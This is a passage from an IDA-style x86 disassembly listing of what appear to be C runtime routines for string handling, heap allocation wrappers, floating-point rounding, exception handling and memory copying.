--------------------------------------------------------------------------- loc_417A9F: ; CODE XREF: sub_4179D0+A6j mov [edi], dx mov eax, [esp+4+arg_0] pop edi retn ; --------------------------------------------------------------------------- loc_417AA8: ; CODE XREF: sub_4179D0+72j ; sub_4179D0+A2j mov [edi], dl mov eax, [esp+4+arg_0] pop edi retn sub_4179D0 endp ; =============== S U B R O U T I N E ======================================= sub_417AB0 proc near ; CODE XREF: sub_4023A7+1A7p ; sub_4023A7:loc_402561p ... arg_0 = dword ptr 4 mov ecx, [esp+arg_0] test ecx, 3 jz short loc_417AD0 loc_417ABC: ; CODE XREF: sub_417AB0+19j mov al, [ecx] inc ecx test al, al jz short loc_417B03 test ecx, 3 jnz short loc_417ABC add eax, 0 loc_417AD0: ; CODE XREF: sub_417AB0+Aj ; sub_417AB0+36j ... mov eax, [ecx] mov edx, 7EFEFEFFh add edx, eax xor eax, 0FFFFFFFFh xor eax, edx add ecx, 4 test eax, 81010100h jz short loc_417AD0 mov eax, [ecx-4] test al, al jz short loc_417B21 test ah, ah jz short loc_417B17 test eax, 0FF0000h jz short loc_417B0D test eax, 0FF000000h jz short loc_417B03 jmp short loc_417AD0 ; --------------------------------------------------------------------------- loc_417B03: ; CODE XREF: sub_417AB0+11j ; sub_417AB0+4Fj lea eax, [ecx-1] mov ecx, [esp+arg_0] sub eax, ecx retn ; --------------------------------------------------------------------------- loc_417B0D: ; CODE XREF: sub_417AB0+48j lea eax, [ecx-2] mov ecx, [esp+arg_0] sub eax, ecx retn ; --------------------------------------------------------------------------- loc_417B17: ; CODE XREF: sub_417AB0+41j lea eax, [ecx-3] mov ecx, [esp+arg_0] sub eax, ecx retn ; --------------------------------------------------------------------------- loc_417B21: ; CODE XREF: sub_417AB0+3Dj lea eax, [ecx-4] mov ecx, [esp+arg_0] sub eax, ecx retn sub_417AB0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_417B30 proc near ; CODE XREF: sub_402688+8p ; sub_402B84+8p ... arg_0 = byte ptr 4 push ecx cmp eax, 1000h lea ecx, [esp+4+arg_0] jb short loc_417B50 loc_417B3C: ; CODE XREF: sub_417B30+1Ej sub ecx, 1000h sub eax, 1000h test [ecx], eax cmp eax, 1000h jnb short loc_417B3C loc_417B50: ; CODE XREF: sub_417B30+Aj sub ecx, eax mov eax, esp test [ecx], eax mov esp, ecx mov ecx, [eax] mov eax, [eax+4] push eax retn sub_417B30 endp ; =============== S U B R O U T I N E ======================================= sub_417B5F proc near ; CODE XREF: sub_4029E9+7Ap ; sub_4029E9+8Ap ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] mov ecx, eax cmp word ptr [eax], 0 jz short loc_417B73 loc_417B6B: ; CODE XREF: sub_417B5F+12j inc ecx inc ecx cmp word ptr [ecx], 0 jnz short loc_417B6B loc_417B73: ; CODE XREF: sub_417B5F+Aj mov edx, [esp+arg_4] push esi loc_417B78: ; CODE XREF: sub_417B5F+26j mov si, [edx] mov [ecx], si inc ecx inc ecx inc edx inc edx test si, si jnz short loc_417B78 pop esi retn sub_417B5F endp ; =============== S U B R O U T I N E ======================================= sub_417B89 proc near ; CODE XREF: sub_402B84+220p ; sub_402DD7+C1p ... arg_0 = dword ptr 4 push dword_4CDA14 push [esp+4+arg_0] call sub_417B9B pop ecx pop ecx retn sub_417B89 endp ; =============== S U B R O U T I N E ======================================= sub_417B9B proc near ; CODE XREF: sub_417B89+Ap ; sub_4185F5+6p arg_0 = dword ptr 4 arg_4 = dword ptr 8 cmp [esp+arg_0], 0FFFFFFE0h ja short loc_417BC4 loc_417BA2: ; CODE XREF: sub_417B9B+27j push [esp+arg_0] call sub_417BC7 test eax, eax pop ecx jnz short locret_417BC6 cmp [esp+arg_4], eax jz short locret_417BC6 push [esp+arg_0] call sub_41AB54 test eax, eax pop ecx jnz short loc_417BA2 loc_417BC4: ; CODE XREF: sub_417B9B+5j xor eax, eax locret_417BC6: ; CODE XREF: sub_417B9B+13j ; sub_417B9B+19j retn sub_417B9B endp ; =============== S U B R O U T I N E ======================================= sub_417BC7 proc near ; CODE XREF: sub_417B9B+Bp arg_0 = dword ptr 4 mov eax, dword_4CF028 push esi mov esi, [esp+4+arg_0] cmp eax, 3 jnz short loc_417BEB cmp esi, dword_4CF020 ja short loc_417C1D push esi call sub_41B0DD test eax, eax pop ecx jz short loc_417C1D pop esi retn ; --------------------------------------------------------------------------- loc_417BEB: ; CODE XREF: sub_417BC7+Dj cmp eax, 2 jnz short loc_417C1D mov eax, [esp+4+arg_0] test eax, eax jz short loc_417C00 lea esi, [eax+0Fh] and esi, 0FFFFFFF0h jmp short loc_417C03 ; --------------------------------------------------------------------------- loc_417C00: ; CODE XREF: sub_417BC7+2Fj push 10h pop esi loc_417C03: ; CODE XREF: sub_417BC7+37j cmp esi, dword_435EB4 ja short loc_417C2A mov eax, esi shr eax, 4 push eax call sub_41BB80 test eax, eax pop ecx jnz short loc_417C39 jmp short loc_417C2A ; --------------------------------------------------------------------------- loc_417C1D: ; CODE XREF: sub_417BC7+15j ; sub_417BC7+20j ... test esi, esi jnz short loc_417C24 push 1 pop esi loc_417C24: ; CODE XREF: sub_417BC7+58j add esi, 0Fh and esi, 0FFFFFFF0h loc_417C2A: ; CODE XREF: sub_417BC7+42j ; sub_417BC7+54j push esi push 0 push dword_4CF024 call near ptr 2710000h nop loc_417C39: ; CODE XREF: sub_417BC7+52j pop esi retn sub_417BC7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417C3B proc near ; CODE XREF: sub_402DD7+10Ep ; sub_402DD7+116p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push esi mov esi, [ebp+arg_0] test esi, esi jz short loc_417CA1 mov eax, dword_4CF028 cmp eax, 3 jnz short loc_417C67 push esi call sub_41AD89 pop ecx test eax, eax push esi jz short loc_417C93 push eax call sub_41ADB4 pop ecx pop ecx jmp short loc_417CA1 ; --------------------------------------------------------------------------- loc_417C67: ; CODE XREF: sub_417C3B+14j cmp eax, 2 jnz short loc_417C92 lea eax, [ebp+arg_0] push eax lea eax, [ebp+var_4] push eax push esi call sub_41BAE4 add esp, 0Ch test eax, eax jz short loc_417C92 push eax push [ebp+arg_0] push [ebp+var_4] call sub_41BB3B add esp, 0Ch jmp short loc_417CA1 ; --------------------------------------------------------------------------- loc_417C92: ; CODE XREF: sub_417C3B+2Fj ; sub_417C3B+44j push esi loc_417C93: ; CODE XREF: sub_417C3B+20j push 0 push dword_4CF024 nop call near ptr 2700000h loc_417CA1: ; CODE XREF: sub_417C3B+Aj ; sub_417C3B+2Aj ... pop esi leave retn sub_417C3B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_417CA4(double) sub_417CA4 proc near ; CODE XREF: sub_403FE6+38p var_24 = qword ptr -24h var_18 = qword ptr -18h var_8 = qword ptr -8 arg_0 = qword ptr 8 push ebp mov ebp, esp push ecx push ecx push ebx push esi mov esi, 0FFFFh push esi push dword_433C30 call sub_41C77D fld [ebp+arg_0] pop ecx mov ebx, eax mov eax, dword ptr [ebp+arg_0+6] pop ecx push ecx and ax, 7FF0h push ecx cmp ax, 7FF0h fstp [esp+18h+var_18] jnz short loc_417D2A call sub_41C645 pop ecx test eax, eax pop ecx jle short loc_417D0D cmp eax, 2 jle short loc_417CFF cmp eax, 3 jnz short loc_417D0D fld [ebp+arg_0] push ebx push ecx ; int push ecx fstp qword ptr [esp] push 0Bh ; double call sub_41BF55 add esp, 10h jmp short loc_417D6F ; --------------------------------------------------------------------------- loc_417CFF: ; CODE XREF: sub_417CA4+3Fj push esi push ebx call sub_41C77D fld [ebp+arg_0] pop ecx pop ecx jmp short loc_417D6F ; --------------------------------------------------------------------------- loc_417D0D: ; CODE XREF: sub_417CA4+3Aj ; sub_417CA4+44j fld [ebp+arg_0] fadd dbl_4246A8 push ebx push ecx ; double push ecx fstp qword ptr [esp] fld [ebp+arg_0] push ecx push ecx fstp [esp+24h+var_24] push 0Bh push 8 jmp short loc_417D67 ; --------------------------------------------------------------------------- loc_417D2A: ; CODE XREF: sub_417CA4+2Fj call sub_41C60A fstp [ebp+var_8] fld [ebp+var_8] fcomp [ebp+arg_0] pop ecx pop ecx fnstsw ax sahf jnz short loc_417D4D loc_417D3F: ; CODE XREF: sub_417CA4+ACj push esi push ebx call sub_41C77D fld [ebp+var_8] pop ecx pop ecx jmp short loc_417D6F ; --------------------------------------------------------------------------- loc_417D4D: ; CODE XREF: sub_417CA4+99j test bl, 20h jnz short loc_417D3F fld [ebp+var_8] push ebx ; int push ecx push ecx ; double fstp qword ptr [esp] fld [ebp+arg_0] push ecx push ecx ; double fstp [esp+24h+var_24] push 0Bh ; int push 10h ; int loc_417D67: ; CODE XREF: sub_417CA4+84j call sub_41BFA8 add esp, 1Ch loc_417D6F: ; CODE XREF: sub_417CA4+59j ; sub_417CA4+67j ... pop esi pop ebx leave retn sub_417CA4 endp ; =============== S U B R O U T I N E ======================================= sub_417D73 proc near ; CODE XREF: ___:00419AC1p ; DATA XREF: ___:off_433C3Co call sub_417D8B call sub_41C846 mov dword_4CD994, eax call sub_41C7F6 fnclex retn sub_417D73 endp ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_2. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= sub_417D8B proc near ; CODE XREF: sub_417D73p mov eax, offset sub_41CC34 mov off_435FD4, offset sub_41C8C9 mov off_435FD0, eax mov off_435FD8, offset sub_41C92F mov off_435FDC, offset sub_41C86F mov off_435FE0, offset sub_41C917 mov off_435FE4, eax retn sub_417D8B endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417DC4 proc near ; CODE XREF: sub_403FE6+1Bp ; sub_403FE6+44p ... var_C = qword ptr -0Ch var_4 = word ptr -4 var_2 = word ptr -2 push ebp mov ebp, esp add esp, 0FFFFFFF4h fstcw [ebp+var_2] wait mov ax, [ebp+var_2] or ah, 0Ch mov [ebp+var_4], ax fldcw [ebp+var_4] fistp [ebp+var_C] fldcw [ebp+var_2] mov eax, dword ptr [ebp+var_C] mov edx, dword ptr [ebp+var_C+4] leave retn sub_417DC4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_417DEB(double) sub_417DEB proc near ; CODE XREF: sub_404032+82p ; ___:00404CF0p var_24 = qword ptr -24h var_18 = qword ptr -18h var_8 = qword ptr -8 arg_0 = qword ptr 8 push ebp mov ebp, esp push ecx push ecx push ebx push esi mov esi, 0FFFFh push esi push dword_433C48 call sub_41C77D fld [ebp+arg_0] pop ecx mov ebx, eax mov eax, dword ptr [ebp+arg_0+6] pop ecx push ecx and ax, 7FF0h push ecx cmp ax, 7FF0h fstp [esp+18h+var_18] jnz short loc_417E71 call sub_41C645 pop ecx test eax, eax pop ecx jle short loc_417E54 cmp eax, 2 jle short loc_417E46 cmp eax, 3 jnz short loc_417E54 fld [ebp+arg_0] push ebx push ecx ; int push ecx fstp qword ptr [esp] push 0Ch ; double call sub_41BF55 add esp, 10h jmp short loc_417EB6 ; --------------------------------------------------------------------------- loc_417E46: ; CODE XREF: sub_417DEB+3Fj push esi push ebx call sub_41C77D fld [ebp+arg_0] pop ecx pop ecx jmp short loc_417EB6 ; --------------------------------------------------------------------------- loc_417E54: ; CODE XREF: sub_417DEB+3Aj ; sub_417DEB+44j fld [ebp+arg_0] fadd dbl_4246A8 push ebx push ecx ; double push ecx fstp qword ptr [esp] fld [ebp+arg_0] push ecx push ecx fstp [esp+24h+var_24] push 0Ch push 8 jmp short loc_417EAE ; --------------------------------------------------------------------------- loc_417E71: ; CODE XREF: sub_417DEB+2Fj call sub_41C60A fstp [ebp+var_8] fld [ebp+var_8] fcomp [ebp+arg_0] pop ecx pop ecx fnstsw ax sahf jnz short loc_417E94 loc_417E86: ; CODE XREF: sub_417DEB+ACj push esi push ebx call sub_41C77D fld [ebp+var_8] pop ecx pop ecx jmp short loc_417EB6 ; --------------------------------------------------------------------------- loc_417E94: ; CODE XREF: sub_417DEB+99j test bl, 20h jnz short loc_417E86 fld [ebp+var_8] push ebx ; int push ecx push ecx ; double fstp qword ptr [esp] fld [ebp+arg_0] push ecx push ecx ; double fstp [esp+24h+var_24] push 0Ch ; int push 10h ; int loc_417EAE: ; CODE XREF: sub_417DEB+84j call sub_41BFA8 add esp, 1Ch loc_417EB6: ; CODE XREF: sub_417DEB+59j ; sub_417DEB+67j ... pop esi pop ebx leave retn sub_417DEB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417EBA proc near ; CODE XREF: ___:0041D116p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ebx push esi push edi mov eax, [ebp+arg_4] add eax, 0Ch mov [ebp+var_4], eax mov ebx, large fs:0 mov eax, [ebx] mov large fs:0, eax mov eax, [ebp+arg_0] mov ebx, [ebp+arg_4] mov esp, [ebx-4] mov ebp, [ebp+var_4] jmp eax sub_417EBA endp ; --------------------------------------------------------------------------- pop edi pop esi pop ebx leave retn 8 ; =============== S U B R O U T I N E ======================================= sub_417EEE proc near ; CODE XREF: sub_41D256+199p ; sub_41D41A+3Ep arg_4 = dword ptr 8 pop eax pop ecx xchg eax, [esp-8+arg_4] jmp eax sub_417EEE endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_417EF5 proc near ; CODE XREF: sub_41D256+17Fp arg_4 = dword ptr 8 pop eax pop ecx xchg eax, [esp-8+arg_4] jmp eax sub_417EF5 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn bp-based frame sub_417EFC proc near ; CODE XREF: sub_4180AE+5Cp ; sub_41D0A5:loc_41D0D6p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx push ebx push esi push edi mov eax, large fs:0 mov [ebp+var_8], eax mov [ebp+var_4], offset loc_417F24 push 0 push [ebp+arg_4] push [ebp+var_4] push [ebp+arg_0] call sub_422A4C sub_417EFC endp ; --------------------------------------------------------------------------- loc_417F24: ; DATA XREF: sub_417EFC+11o mov eax, [ebp+0Ch] mov eax, [eax+4] and al, 0FDh mov ecx, [ebp+0Ch] mov [ecx+4], eax mov eax, large fs:0 mov ebx, [ebp-8] mov [ebx], eax mov large fs:0, ebx pop edi pop esi pop ebx leave retn 8 ; --------------------------------------------------------------------------- loc_417F4B: ; CODE XREF: ___:004230ECj ; ___:00423109j ... push ebp mov ebp, esp sub esp, 4 push ebx push esi push edi cld mov [ebp-4], eax xor eax, eax push eax push eax push eax push dword ptr [ebp-4] push dword ptr [ebp+14h] push dword ptr [ebp+10h] push dword ptr [ebp+0Ch] push dword ptr [ebp+8] call sub_41CCAA add esp, 20h mov [ebp+14h], eax pop edi pop esi pop ebx mov eax, [ebp+14h] mov esp, ebp pop ebp retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417F81 proc near ; CODE XREF: sub_41D120+73p var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 14h mov eax, [ebp+arg_4] and [ebp+var_14], 0 mov ecx, [ebp+arg_0] mov [ebp+var_C], eax mov eax, [ebp+arg_C] mov [ebp+var_10], offset sub_417FD5 inc eax mov [ebp+var_8], ecx mov [ebp+var_4], eax mov eax, large fs:0 mov [ebp+var_14], eax lea eax, [ebp+var_14] mov large fs:0, eax push [ebp+arg_10] push ecx push [ebp+arg_8] call sub_41D4B0 mov ecx, eax mov eax, [ebp+var_14] mov large fs:0, eax mov eax, ecx leave retn sub_417F81 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417FD5 proc near ; DATA XREF: sub_417F81+16o arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp cld mov eax, [ebp+arg_4] push 0 push eax push dword ptr [eax+10h] push dword ptr [eax+8] push 0 push [ebp+arg_8] push dword ptr [eax+0Ch] push [ebp+arg_0] call sub_41CCAA add esp, 20h pop ebp retn sub_417FD5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417FFA proc near ; CODE XREF: sub_41CEEC+25p var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp sub esp, 34h push ebx push esi push edi and [ebp+var_28], 0 mov [ebp+var_24], offset sub_4180AE mov eax, [ebp+arg_10] mov [ebp+var_20], eax mov eax, [ebp+arg_4] mov [ebp+var_1C], eax mov eax, [ebp+arg_14] mov [ebp+var_18], eax mov eax, [ebp+arg_18] mov [ebp+var_14], eax and [ebp+var_10], 0 and [ebp+var_C], 0 and [ebp+var_8], 0 and [ebp+var_4], 0 mov [ebp+var_10], offset loc_418080 mov [ebp+var_C], esp mov [ebp+var_8], ebp mov eax, large fs:0 mov [ebp+var_28], eax lea eax, [ebp+var_28] mov large fs:0, eax mov [ebp+var_34], 1 mov eax, [ebp+arg_0] mov [ebp+var_30], eax mov eax, [ebp+arg_8] mov [ebp+var_2C], eax lea eax, [ebp+var_30] push eax mov eax, [ebp+arg_0] push dword ptr [eax] call dword_4CDA38 pop ecx pop ecx and [ebp+var_34], 0 loc_418080: ; DATA XREF: sub_417FFA+3Co cmp [ebp+var_4], 0 jz short loc_41809D mov ebx, large fs:0 mov eax, [ebx] mov ebx, [ebp+var_28] mov [ebx], eax mov large fs:0, ebx jmp short loc_4180A6 ; --------------------------------------------------------------------------- loc_41809D: ; CODE XREF: sub_417FFA+8Aj mov eax, [ebp+var_28] mov large fs:0, eax loc_4180A6: ; CODE XREF: sub_417FFA+A1j mov eax, [ebp+var_34] pop edi pop esi pop ebx leave retn sub_417FFA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4180AE proc near ; DATA XREF: sub_417FFA+Do arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ebx push esi push edi cld mov eax, [ebp+arg_0] mov eax, [eax+4] and eax, 66h test eax, eax jz short loc_4180D1 mov eax, [ebp+arg_4] mov dword ptr [eax+24h], 1 push 1 pop eax jmp short loc_41811E ; --------------------------------------------------------------------------- loc_4180D1: ; CODE XREF: sub_4180AE+12j push 1 mov eax, [ebp+arg_4] push dword ptr [eax+14h] mov eax, [ebp+arg_4] push dword ptr [eax+10h] mov eax, [ebp+arg_4] push dword ptr [eax+8] push 0 push [ebp+arg_8] mov eax, [ebp+arg_4] push dword ptr [eax+0Ch] push [ebp+arg_0] call sub_41CCAA add esp, 20h mov eax, [ebp+arg_4] cmp dword ptr [eax+24h], 0 jnz short loc_41810F push [ebp+arg_0] push [ebp+arg_4] call sub_417EFC ; --------------------------------------------------------------------------- loc_41810F: ; CODE XREF: sub_4180AE+54j mov ebx, [ebp+arg_4] mov esp, [ebx+1Ch] mov ebp, [ebx+20h] jmp dword ptr [ebx+18h] ; --------------------------------------------------------------------------- push 1 pop eax loc_41811E: ; CODE XREF: sub_4180AE+21j pop edi pop esi pop ebx pop ebp retn sub_4180AE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418123 proc near ; CODE XREF: sub_41CD45+C6p ; sub_41CEEC+43p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp push ecx push ebx push esi cmp [ebp+arg_4], 0 push edi mov edi, [ebp+arg_0] mov esi, [edi+0Ch] mov ebx, [edi+10h] mov eax, esi mov [ebp+arg_0], esi mov [ebp+var_4], eax jl short loc_41817A loc_418141: ; CODE XREF: sub_418123+52j cmp esi, 0FFFFFFFFh jnz short loc_41814B call sub_41D552 loc_41814B: ; CODE XREF: sub_418123+21j mov ecx, [ebp+arg_8] dec esi lea eax, [esi+esi*4] cmp [ebx+eax*4+4], ecx lea eax, [ebx+eax*4] jge short loc_418160 cmp ecx, [eax+8] jle short loc_418165 loc_418160: ; CODE XREF: sub_418123+36j cmp esi, 0FFFFFFFFh jnz short loc_418171 loc_418165: ; CODE XREF: sub_418123+3Bj mov eax, [ebp+arg_0] dec [ebp+arg_4] mov [ebp+var_4], eax mov [ebp+arg_0], esi loc_418171: ; CODE XREF: sub_418123+40j cmp [ebp+arg_4], 0 jge short loc_418141 mov eax, [ebp+var_4] loc_41817A: ; CODE XREF: sub_418123+1Cj mov ecx, [ebp+arg_C] inc esi mov [ecx], esi mov ecx, [ebp+arg_10] mov [ecx], eax cmp eax, [edi+0Ch] ja short loc_41818E cmp esi, eax jbe short loc_418193 loc_41818E: ; CODE XREF: sub_418123+65j call sub_41D552 loc_418193: ; CODE XREF: sub_418123+69j lea eax, [esi+esi*4] pop edi pop esi lea eax, [ebx+eax*4] pop ebx leave retn sub_418123 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn bp-based frame sub_4181A0 proc near ; CODE XREF: sub_41F774+5Ap arg_0 = dword ptr 8 push ebp mov ebp, esp push ebx push esi push edi push ebp push 0 push 0 push offset sub_4181B8 push [ebp+arg_0] call sub_422A4C sub_4181A0 endp ; =============== S U B R O U T I N E ======================================= sub_4181B8 proc near ; DATA XREF: sub_4181A0+Bo pop ebp pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_4181B8 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_4181C0 proc near ; DATA XREF: sub_4181E2+Ao ; sub_41824A+9o arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_C = dword ptr 10h mov ecx, [esp+arg_0] test dword ptr [ecx+4], 6 mov eax, 1 jz short locret_4181E1 mov eax, [esp+arg_4] mov edx, [esp+arg_C] mov [edx], eax mov eax, 3 locret_4181E1: ; CODE XREF: sub_4181C0+10j retn sub_4181C0 endp ; =============== S U B R O U T I N E ======================================= sub_4181E2 proc near ; CODE XREF: sub_41D1C6+Dp ; sub_41F774+67p ... var_14 = dword ptr -14h arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx push esi push edi mov eax, [esp+0Ch+arg_0] push eax push 0FFFFFFFEh push offset sub_4181C0 push large dword ptr fs:0 mov large fs:0, esp loc_4181FF: ; CODE XREF: sub_4181E2:loc_41823Aj mov eax, [esp+1Ch+arg_0] mov ebx, [eax+8] mov esi, [eax+0Ch] cmp esi, 0FFFFFFFFh jz short loc_41823C cmp esi, [esp+1Ch+arg_4] jz short loc_41823C lea esi, [esi+esi*2] mov ecx, [ebx+esi*4] mov [esp+1Ch+var_14], ecx mov [eax+0Ch], ecx cmp dword ptr [ebx+esi*4+4], 0 jnz short loc_41823A push 101h mov eax, [ebx+esi*4+8] call sub_418276 call dword ptr [ebx+esi*4+8] loc_41823A: ; CODE XREF: sub_4181E2+44j jmp short loc_4181FF ; --------------------------------------------------------------------------- loc_41823C: ; CODE XREF: sub_4181E2+2Aj ; sub_4181E2+30j pop large dword ptr fs:0 add esp, 0Ch pop edi pop esi pop ebx retn sub_4181E2 endp ; =============== S U B R O U T I N E ======================================= sub_41824A proc near ; CODE XREF: sub_41D1E6+37p xor eax, eax mov ecx, large fs:0 cmp dword ptr [ecx+4], offset sub_4181C0 jnz short locret_41826C mov edx, [ecx+0Ch] mov edx, [edx+0Ch] cmp [ecx+8], edx jnz short locret_41826C mov eax, 1 locret_41826C: ; CODE XREF: sub_41824A+10j ; sub_41824A+1Bj retn sub_41824A endp ; =============== S U B R O U T I N E ======================================= sub_41826D proc near ; CODE XREF: sub_41D4B0+1Ep ; sub_41D4B0+40p push ebx push ecx mov ebx, offset dword_433C4C jmp short loc_418280 sub_41826D endp ; =============== S U B R O U T I N E ======================================= sub_418276 proc near ; CODE XREF: sub_4181E2+4Fp ; sub_41F774+78p push ebx push ecx mov ebx, offset dword_433C4C mov ecx, [ebp+8] loc_418280: ; CODE XREF: sub_41826D+7j mov [ebx+8], ecx mov [ebx+4], eax mov [ebx+0Ch], ebp pop ecx pop ebx retn 4 sub_418276 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_418290 proc near ; CODE XREF: sub_404032+5p ; sub_4041D4+5p ... push 0FFFFFFFFh push eax mov eax, large fs:0 push eax mov eax, [esp+0Ch] mov large fs:0, esp mov [esp+0Ch], ebp lea ebp, [esp+0Ch] push eax retn sub_418290 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_4182AF proc near ; CODE XREF: sub_404667+26p ; ___:004227E2p ... arg_0 = dword ptr 4 push [esp+arg_0] call sub_417C3B pop ecx retn sub_4182AF endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4182C0 proc near ; CODE XREF: sub_4046D8+3Ap ; sub_41ADB4+2EFp ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push edi push esi mov esi, [ebp+arg_4] mov ecx, [ebp+arg_8] mov edi, [ebp+arg_0] mov eax, ecx mov edx, ecx add eax, esi cmp edi, esi jbe short loc_4182E0 cmp edi, eax jb loc_418458 loc_4182E0: ; CODE XREF: sub_4182C0+16j test edi, 3 jnz short loc_4182FC shr ecx, 2 and edx, 3 cmp ecx, 8 jb short loc_41831C rep movsd jmp off_418408[edx*4] ; --------------------------------------------------------------------------- loc_4182FC: ; CODE XREF: sub_4182C0+26j mov eax, edi mov edx, 3 sub ecx, 4 jb short loc_418314 and eax, 3 add ecx, eax jmp dword ptr loc_41831C+4[eax*4] ; --------------------------------------------------------------------------- loc_418314: ; CODE XREF: sub_4182C0+46j jmp dword ptr loc_418418[ecx*4] ; --------------------------------------------------------------------------- align 4 loc_41831C: ; CODE XREF: sub_4182C0+31j ; sub_4182C0+8Ej ... jmp off_41839C[ecx*4] ; --------------------------------------------------------------------------- align 4 dd offset loc_41832C+4 dd offset loc_41835C ; --------------------------------------------------------------------------- loc_41832C: ; DATA XREF: sub_4182C0+64o add byte ptr [ebx-2EDCFFBFh], 8Ah push es mov [edi], al mov al, [esi+1] mov [edi+1], al mov al, [esi+2] shr ecx, 2 mov [edi+2], al add esi, 3 add edi, 3 cmp ecx, 8 jb short loc_41831C rep movsd jmp off_418408[edx*4] ; --------------------------------------------------------------------------- align 4 loc_41835C: ; DATA XREF: sub_4182C0+68o and edx, ecx mov al, [esi] mov [edi], al mov al, [esi+1] shr ecx, 2 mov [edi+1], al add esi, 2 add edi, 2 cmp ecx, 8 jb short loc_41831C rep movsd jmp off_418408[edx*4] ; --------------------------------------------------------------------------- align 10h and edx, ecx mov al, [esi] mov [edi], al inc esi shr ecx, 2 inc edi cmp ecx, 8 jb short loc_41831C rep movsd jmp off_418408[edx*4] ; --------------------------------------------------------------------------- align 4 off_41839C dd offset loc_4183FF ; DATA XREF: sub_4182C0:loc_41831Cr dd offset loc_4183EC dd offset loc_4183E4 dd offset loc_4183DC dd offset loc_4183D4 dd offset loc_4183CC dd offset loc_4183C4 dd offset loc_4183BC ; --------------------------------------------------------------------------- loc_4183BC: ; CODE XREF: sub_4182C0:loc_41831Cj ; DATA XREF: sub_4182C0+F8o mov eax, [esi+ecx*4-1Ch] mov [edi+ecx*4-1Ch], eax loc_4183C4: ; CODE XREF: sub_4182C0:loc_41831Cj ; DATA XREF: sub_4182C0+F4o mov eax, [esi+ecx*4-18h] mov [edi+ecx*4-18h], eax loc_4183CC: ; CODE XREF: sub_4182C0:loc_41831Cj ; DATA XREF: sub_4182C0+F0o mov eax, [esi+ecx*4-14h] mov [edi+ecx*4-14h], eax loc_4183D4: ; CODE XREF: sub_4182C0:loc_41831Cj ; DATA XREF: sub_4182C0+ECo mov eax, [esi+ecx*4-10h] mov [edi+ecx*4-10h], eax loc_4183DC: ; CODE XREF: sub_4182C0:loc_41831Cj ; DATA XREF: sub_4182C0+E8o mov eax, [esi+ecx*4-0Ch] mov [edi+ecx*4-0Ch], eax loc_4183E4: ; CODE XREF: sub_4182C0:loc_41831Cj ; DATA XREF: sub_4182C0+E4o mov eax, [esi+ecx*4-8] mov [edi+ecx*4-8], eax loc_4183EC: ; CODE XREF: sub_4182C0:loc_41831Cj ; DATA XREF: sub_4182C0+E0o mov eax, [esi+ecx*4-4] mov [edi+ecx*4-4], eax lea eax, ds:0[ecx*4] add esi, eax add edi, eax loc_4183FF: ; CODE XREF: sub_4182C0:loc_41831Cj ; DATA XREF: sub_4182C0:off_41839Co jmp off_418408[edx*4] ; --------------------------------------------------------------------------- align 4 off_418408 dd offset loc_418418 ; DATA XREF: sub_4182C0+35r ; sub_4182C0+92r ... dd offset loc_418420 dd offset loc_41842C dd offset loc_418440 ; --------------------------------------------------------------------------- loc_418418: ; CODE XREF: sub_4182C0+35j ; sub_4182C0+92j ... mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 10h loc_418420: 